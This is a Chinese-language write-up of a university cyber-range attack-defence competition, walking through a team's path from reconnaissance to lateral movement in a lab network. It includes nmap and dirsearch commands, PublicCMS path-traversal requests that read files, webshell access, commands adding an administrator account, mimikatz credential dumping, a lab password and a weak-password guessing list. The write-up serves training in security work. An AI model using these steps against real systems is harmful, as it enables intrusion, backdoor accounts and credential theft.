技術分享 | "錦行杯"比賽 Writeup

廣州錦行科技發表於2021-02-02

2020年12月27日,錦行科技攜手華南農業大學數學與資訊學院、軟體學院順利舉辦了“錦行杯”大學生網路安全攻防對抗實戰。(傳送帶——實戰練兵 | “錦行杯”大學生網路安全攻防對抗實戰(華南農業大學專場)圓滿落幕)比賽雖然已經結束,但是“錦行杯”作為網路靶場演習的意義仍在延續。


本期我們邀請了近期在錦行杯比賽(華農場)獲得一等獎的參賽隊伍XCAU戰隊 (不想和隊友一隊 戰隊)與我們分享了他在錦行杯比賽中的攻擊思路。

"錦行杯"比賽 Writeup

01明確目標

  • 獲取主機上所有的flag,一臺主機只有一個flag 

  • 初始切入點為網站:http://192.168.100.2:8080

  • 可能需要操作:getshell,內網滲透,域滲透,路由轉發

  • 可能存在的系統型別:伺服器系統,資料庫系統,內網客戶端(辦公機)


02資訊收集

  • 進入網站,瀏覽網站,收集資訊網址:http://192.168.100.2:8080

  • 最終主機:coreDB

  • 後臺:admin admin :http://192.168.100.2:8080/admin/

  • 作業系統:Windows Server 2012 R2(amd64)

  • CMS:public cms

  • 版本:V4.0.20180210

  • 語言:java

  • 網站目錄:C:\Program Files\Java\jdk1.8.0_261\bin


(1)使用diresearch掃描網站目錄

python dirsearch.py -e java -u http://192.168.100.2:8080

[13:17:11]200-898B- /admin/login

[13:17:11]200-898B- /admin/login.java

[13:17:12]200-898B- /admin/login.asp

[13:17:12]200-898B- /admin/login.do

[13:17:12]200-898B- /admin/login.htm

[13:17:12]200-898B- /admin/login.html

[13:17:12]200-898B- /admin/login.jsp

[13:17:12]200-898B- /admin/login.php

[13:17:12]200-898B- /admin/login.py

[13:17:12]200-898B- /admin/login.rb

[13:17:14]200-29B- /api

[13:17:14]200-29B- /api/error_log

[13:17:14]200-29B- /api/swagger.yml

[13:17:14]200-29B- /api/

[13:17:14] 302 -0B - /admin/admin/login -> /admin/login.html?

returnUrl=%2Fadmin%2Fadmin%2Flogin 

[13:17:18] 302 -0B- /docs->/docs/ 

[13:17:18] 200 -15KB - /docs/

[13:17:19] 302 -0B- /examples->/examples/ 

[13:17:19] 200 -1KB - /examples/

[13:17:19] 200 -757B- /examples/servlets/servlet/CookieExample

[13:17:19] 200 -1KB - /examples/servlets/servlet/RequestHeaderExample

[13:17:19] 200 -4KB - /favicon.ico

[13:17:19] 200 -6KB - /examples/servlets/index.html

(2)使用nmap主機發現

nmap -sL 網段

Nmap scan report for 192.168.100.1 Host is up (0.0012s latency).

Not shown: 999 closed ports PORT STATE SERVICE

22/tcp filtered ssh

 

Nmap scan report for 192.168.100.2 Host is up (0.00073s latency).

Not shown: 987 closed ports PORT STATE SERVICE

135/tcp open msrpc 

139/tcp open netbios-ssn 

445/tcp open microsoft-ds 

3306/tcp open mysql

3389/tcp open ms-wbt-server 

8080/tcp open http-proxy 

49152/tcp open unknown 

49153/tcp open unknown 

49154/tcp open unknown 

49155/tcp open unknown 

49156/tcp open unknown 

49157/tcp open unknown 

49158/tcp open unknown

 

Nmap scan report for 192.168.100.3 Host is up (0.0018s latency).

All 1000 scanned ports on 192.168.100.3 are filtered

……


-sL #列表掃描--簡單地列出要掃描的目標

nmap -sL 192.168.100.0/24

-sn #ping掃描--不對埠掃描

nmap -sn 192.168.100.0/24

-Pn #將所有主機視為線上--跳過主機發現

nmap -Pn 192.168.100.0/24

-PS/PA/PU/PY #透過SYN/ACK/UDP/SCTP探測確認埠號

nmap-PS 192.168.100.0/24

nmap-PA 192.168.100.0/24

nmap-PU 192.168.100.0/24

nmap-PY 192.168.100.0/24

-PO #使用IP協議ping

nmap -Pn 192.168.100.0/24

-sV #版本檢測(sV)

nmap -sV -p- 192.168.52.143

-sV 用來掃描目標主機和埠上執行的軟體的版本

-p- 掃描0-65535全部埠


03網站getshell

當前網站滲透應該考的是資訊搜尋能力

  • 使用google輸入關鍵字:“public cms getshell” “public cms 漏洞” 等查詢相關文章

  • 在國家資訊保安漏洞庫裡面查詢publiccms的漏洞:http://www.cnnvd.org.cn/web/vulnerability/quer ylist.tag

  • 在exploit-db網站查詢相關漏洞:https://www.exploit-db.com/

(1)PublicCMS 路徑遍歷漏洞

參考網址:https://github.com/sanluan/PublicCMS/issues/12

透過傳送get請求:/admin/cmsWebFile/list.html?path=../../../../../ 可以檢視當前系統目錄

透過傳送get請求:/admin/cmsTemplate/content.html?path=../../../../../../../../../flag.txt    可檢視檔案內容

構 建 請 求 :http://192.168.100.2:8080/admin/cmsTemplate

/content.html?path=../../../../../../../../../fl ag.txt 讀取第一個flag拿一血


(2)PublicCMS getshell漏洞

參考網址:https://github.com/sanluan/PublicCMS/issues/13

使用者可以透過在壓縮檔案中構造包含有特定檔名稱的壓縮檔案。

在public cms進行解壓後,會導致跨目錄任意寫入檔案漏洞的攻擊。進而有可能被Getshell,遠端控制


04內網滲透

利用蟻劍連線一句話木馬

切換到終端模式

whoami #檢視當前有效使用者名稱

netstat -an | find "3389" #檢視遠端登入埠是否開啟net user yyj yyj /add #嘗試新增使用者

net localgroup administrators test /add net user test #檢視test使用者資訊


憑據匯出:

憑據可以理解為目標機的賬號,密碼。匯出目標機憑據後,我們可以使用憑據實現橫向移動(利用hash  傳遞,smb/rdp爆破等等手法)來擴大我們的戰果。


(1)hashdump讀取記憶體密碼

利用遠端登入上傳mimitakz使用debug進行明文抓取執行目標機:mimitakz.exe

目標機輸入:privilege::debug 進行許可權提升

目標機輸入:sekurlsa::logonPasswords 進行明文抓取得到明文密碼

得到賬號密碼為:Administrator :MY2020jxsec@123


(2)透過檢視目標主機檔案發現提示資訊

提示了2個可繼續深入的內網IP

因為沒有做好記錄工作這裡自定義IP 

主機(1)10.0.0.2

主機(2)10.0.1.3

利用nmap掃描上面2個IP發現開放了22埠,可以ssh連線

使用nmap掃描目標主機作業系統

嘗試mobaxterm遠端ssh連線兩臺主機,使用記憶體讀取的賬號密碼 Administrator :MY2020jxsec@123 嘗試登入兩臺主機,主機(1)登入成功

檢視主機(1)根目錄 以下的public或者temp資料夾 發現flag(2)

猜測主機(2)發現是Linux系統


(3)弱密碼登入

猜測此題考點為弱密碼登入

嘗試手動輸入幾個弱密碼登入root使用者

masquerade 4444

456123

abc123. live 0123456789

147852369

zxcasd 123

1234

12345

123456

password 1

111111

123456789

使用password登入root使用者成功

檢視主機(1)根目錄 以下的public或者temp資料夾

發現flag(3)

對主機(1)輸入history命令檢視歷史命令

發現有使用ssh遠端登入新的主機(3)

嘗試使用ssh連線主機(3),連線成功

檢視根目錄及其下的資料夾發現flag(4)

對主機(2)輸入history命令檢視歷史命令

發現有使用ssh遠端登入新的主機(4)

嘗試使用ssh連線主機(4),連線成功

檢視根目錄及其下的資料夾發現flag(5)

……


相關文章